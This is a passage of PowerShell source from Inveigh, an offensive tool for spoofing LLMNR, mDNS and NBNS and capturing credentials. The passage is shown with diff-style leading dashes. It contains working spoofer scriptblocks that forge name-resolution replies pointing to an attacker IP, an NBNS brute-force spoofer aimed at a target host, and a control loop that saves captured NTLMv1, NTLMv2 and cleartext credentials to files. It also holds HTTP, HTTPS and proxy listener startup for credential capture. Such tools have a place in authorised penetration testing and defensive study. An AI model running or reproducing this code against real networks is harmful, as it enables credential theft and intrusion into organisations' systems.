$mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - } - - $mDNS_request_data = "" - } - elseif([System.BitConverter]::ToString($mDNS_request_data) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') - { - $mDNS_response_packet = $mDNS_request_data[0,1] + - 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + - $mDNS_request_data[12..($mDNS_request_data[12] + 12)] + - 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + - 0x00,0x01,0x00,0x01 + - $mDNS_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data - $mDNS_query_string_full = $mDNS_query_string + ".local" - $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString - - if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $mDNSTypes -contains 'QM') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) - { - $mDNS_destination_endpoint = New-Object Net.IPEndpoint([IPAddress]"224.0.0.251",5353) - $mDNS_UDP_client.Connect($mDNS_destination_endpoint) - $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) - $mDNS_UDP_client.Close() - $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 - $mDNS_multicast_group = [IPAddress]"224.0.0.251" - $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) - $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "- response sent" - } - else - { - - if($Inspect) - { - $mDNS_response_message = "- inspect only" - } - elseif($mDNSTypes -notcontains 'QM') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $mDNS_response_message = "- previous capture from $source_IP" - } - else - { - $mDNS_response_message = "- something went wrong" - } - - } - - if($mDNS_request_data) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - } - - $mDNS_request_data = "" - } - - } - - $mDNS_UDP_client.Close() - } - -# Unprivileged NBNS Spoofer ScriptBlock -$NBNS_spoofer_scriptblock = -{ - param ($Inspect,$NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) - - $NBNS_running = $true - $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) - - try - { - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - $NBNS_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") - } - - } - - $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - while($inveigh.running -and $NBNS_running) - { - - try - { - $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) - } - catch - { - $NBNS_UDP_client.Close() - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - } - - $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) - - if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') - { - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - $NBNS_response_packet = $NBNS_request_data[0,1] + - 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $NBNS_request_data[13..$NBNS_request_data.Length] + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString - $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = "00" - } - - '41-44' - { - $NBNS_query_type = "03" - } - - '43-41' - { - $NBNS_query_type = "20" - } - - '42-4C' - { - $NBNS_query_type = "1B" - } - - '42-4D' - { - $NBNS_query_type = "1C" - } - - '42-4E' - { - $NBNS_query_type = "1D" - } - - '42-4F' - { - $NBNS_query_type = "1E" - } - - } - - $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - $n = 0 - - do - { - $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) - $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - - if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP)) - { - $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) - $NBNS_UDP_client.Connect($NBNS_destination_endpoint) - $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) - $NBNS_UDP_client.Close() - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - $NBNS_response_message = "- response sent" - } - else - { - - if($Inspect) - { - $NBNS_response_message = "- inspect only" - } - elseif($NBNSTypes -notcontains $NBNS_query_type) - { - $NBNS_response_message = "- disabled NBNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $NBNS_response_message = "- previous capture from $source_IP" - } - elseif($source_IP -eq $IP) - { - $NBNS_response_message = "- local request" - } - else - { - $NBNS_response_message = "- something went wrong" - } - - } - - if($NBNS_request_data) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - } - - $NBNS_request_data = "" - } - - } - - $NBNS_UDP_client.Close() - } - -# NBNS BruteForce ScriptBlock -$NBNS_bruteforce_spoofer_scriptblock = -{ - param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) - - $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() - - $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, - 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 - - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($NBNSBruteForceHost) - $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) - $hostname_encoded = $hostname_encoded.Replace("-","") - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - for($i=0; $i -lt $hostname_encoded.Count; $i++) - { - - if($hostname_encoded[$i] -gt 64) - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 10 - } - else - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 17 - } - - } - - $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $hostname_bytes + - 0x00,0x20,0x00,0x01 + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - $NBNS_paused = $false - $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) - $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) - $destination_point = New-Object Net.IPEndpoint($destination_IP,137) - $NBNS_bruteforce_UDP_client.Connect($destination_point) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - } - - while($inveigh.running) - { - - :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.running) - { - - if($NBNS_paused) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - $NBNS_paused = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - } - - } - - for ($i = 0; $i -lt 255; $i++) - { - - for ($j = 0; $j -lt 255; $j++) - { - $NBNS_response_packet[0] = $i - $NBNS_response_packet[1] = $j - $NBNS_bruteforce_UDP_client.send($NBNS_response_packet,$NBNS_response_packet.Length) - - if($inveigh.hostname_spoof -and $NBNSBruteForcePause) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - $NBNS_paused = $true - break NBNS_spoofer_loop - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - } - - } - - } - - } - - } - - Start-Sleep -m 5 - } - - $NBNS_bruteforce_UDP_client.Close() -} - -# Control Loop ScriptBlock -$control_scriptblock = -{ - param ($ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime) - - $inveigh.control = $true - - function StopInveigh - { - param ([String]$exit_message) - - if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } - - } - - } - - if($inveigh.running) - { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh exited due to $exit_message at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - - Start-Sleep -S 1 - $inveigh.running = $false - } - - if($inveigh.relay_running) - { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - - Start-Sleep -S 1 - $inveigh.relay_running = $false - - } - - $inveigh.HTTPS = $false - } - - if($NBNSBruteForcePause) - { - $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause - } - - $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count - $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count - $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count - - if($RunTime) - { - $control_timeout = New-TimeSpan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while($inveigh.running) - { - - if($NBNSBruteForcePause -and $inveigh.hostname_spoof) - { - - if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) - { - $inveigh.hostname_spoof = $false - } - - } - - if($RunCount) - { - - if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) - { - StopInveigh "run count" - } - - } - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - StopInveigh "run time" - } - - } - - if($inveigh.file_output) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveAt(0) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveAt(0) - } - - while($inveigh.POST_request_file_queue.Count -gt 0) - { - $inveigh.POST_request_file_queue[0]|Out-File $inveigh.POST_request_out_file -Append - $inveigh.POST_request_file_queue.RemoveAt(0) - } - - } - - if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) - { - - while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) - { - $inveigh.console_queue.RemoveAt(0) - } - - } - - Start-Sleep -m 5 - } - - $inveigh.control = $false -} - -# End ScriptBlocks -# Begin Startup Functions - -# HTTP Listener Startup Function -function HTTPListener() -{ - $proxy_listener = $false - $HTTPS_listener = $false - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( - $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( - $WPADAuthIgnore).AddArgument($WPADResponse) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -Start-Sleep -m 50 - -# HTTPS Listener Startup Function -function HTTPSListener() -{ - $proxy_listener = $false - $HTTPS_listener = $true - $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() - $HTTPS_runspace.Open() - $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTPS_powershell = [PowerShell]::Create() - $HTTPS_powershell.Runspace = $HTTPS_runspace - $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( - $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( - $WPADAuthIgnore).AddArgument($WPADResponse) > $null - $HTTPS_powershell.BeginInvoke() > $null -} - -Start-Sleep -m 50 - -# Proxy Listener Startup Function -function ProxyListener() -{ - $proxy_listener = $true - $HTTPS_listener = $false - $proxy_runspace = [RunspaceFactory]::CreateRunspace() - $proxy_runspace.Open() - $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $proxy_powershell = [PowerShell]::Create() - $proxy_powershell.Runspace = $proxy_runspace - $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( - $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( - $WPADAuthIgnore).AddArgument($WPADResponse) > $null - $proxy_powershell.BeginInvoke() > $null -} - -# Sniffer/Spoofer Startup Function -function SnifferSpoofer() -{ - $sniffer_runspace = [RunspaceFactory]::CreateRunspace() - $sniffer_runspace.Open() - $sniffer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $sniffer_powershell = [PowerShell]::Create() - $sniffer_powershell.Runspace = $sniffer_runspace - $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($IP).AddArgument($LLMNR).AddArgument( - $LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( - $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument( - $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument( - $SMB).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument( - $SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument( - $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval) > $null - $sniffer_powershell.BeginInvoke() > $null -} - -# Unprivileged LLMNR Spoofer Startup Function -function LLMNRSpoofer() -{ - $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $LLMNR_spoofer_runspace.Open() - $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $LLMNR_spoofer_powershell = [PowerShell]::Create() - $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace - $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument( - $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( - $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $LLMNRTTL) > $null - $LLMNR_spoofer_powershell.BeginInvoke() > $null -} - -# Unprivileged mDNS Spoofer Startup Function -function mDNSSpoofer() -{ - $mDNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $mDNS_spoofer_runspace.Open() - $mDNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $mDNS_spoofer_powershell = [PowerShell]::Create() - $mDNS_spoofer_powershell.Runspace = $mDNS_spoofer_runspace - $mDNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $mDNS_spoofer_powershell.AddScript($mDNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( - $mDNS_response_message).AddArgument($mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument( - $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( - $SpooferIPsIgnore) > $null - $mDNS_spoofer_powershell.BeginInvoke() > $null -} - -# Unprivileged NBNS Spoofer Startup Function -function NBNSSpoofer() -{ - $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $NBNS_spoofer_runspace.Open() - $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $NBNS_spoofer_powershell = [PowerShell]::Create() - $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace - $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( - $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument( - $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( - $SpooferIPsIgnore).AddArgument($NBNSTTL) > $null - $NBNS_spoofer_powershell.BeginInvoke() > $null -} - -# NBNS Brute Force Spoofer Startup Function -function NBNSBruteForceSpoofer() -{ - $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $NBNS_bruteforce_spoofer_runspace.Open() - $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() - $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace - $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( - $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( - $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null - $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null -} - -# Control Loop Startup Function -function ControlLoop() -{ - $control_runspace = [RunspaceFactory]::CreateRunspace() - $control_runspace.Open() - $control_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_powershell = [PowerShell]::Create() - $control_powershell.Runspace = $control_runspace - $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_powershell.AddScript($control_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( - $NBNSBruteForcePause).AddArgument($RunCount).AddArgument($RunTime) > $null - $control_powershell.BeginInvoke() > $null -} - -# End Startup Functions - -# Startup Enabled Services - -# HTTP Server Start -if($HTTP -eq 'Y') -{ - HTTPListener -} - -# HTTPS Server Start -if($HTTPS -eq 'Y') -{ - HTTPSListener -} - -# Proxy Server Start -if($Proxy -eq 'Y') -{ - ProxyListener -} - -# Sniffer/Spoofer Start -if(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' -or $Inspect) -and $elevated_privilege) -{ - SnifferSpoofer -} -elseif(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y') -and !$elevated_privilege) -{ - - if($LLMNR -eq 'Y') - { - LLMNRSpoofer - } - - if($mDNS -eq 'Y') - { - mDNSSpoofer - } - - if($NBNS -eq 'Y') - { - NBNSSpoofer - } - - if($NBNSBruteForce -eq 'Y') - { - NBNSBruteForceSpoofer - } - -} - -# NBNSBruteForce Spoofer Start -if($NBNSBruteForce -eq 'Y') -{ - NBNSBruteForceSpoofer -} - -# Control Loop Start -if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $NBNSBruteForcePause -or $RunCount -or $RunTime) -{ - ControlLoop -} - -# Console Output Loop -try -{ - - if($inveigh.console_output) - { - - if($ConsoleStatus) - { - $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.console_queue[0]) - } - - $inveigh.console_queue.RemoveAt(0) - } - - {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} - { - - if($ConsoleOutput -eq 'Y') - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - } - - $inveigh.console_queue.RemoveAt(0) - - } - - {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} - { - - if($ConsoleOutput -ne "Low") - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - } - - $inveigh.console_queue.RemoveAt(0) - - } - - default - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge 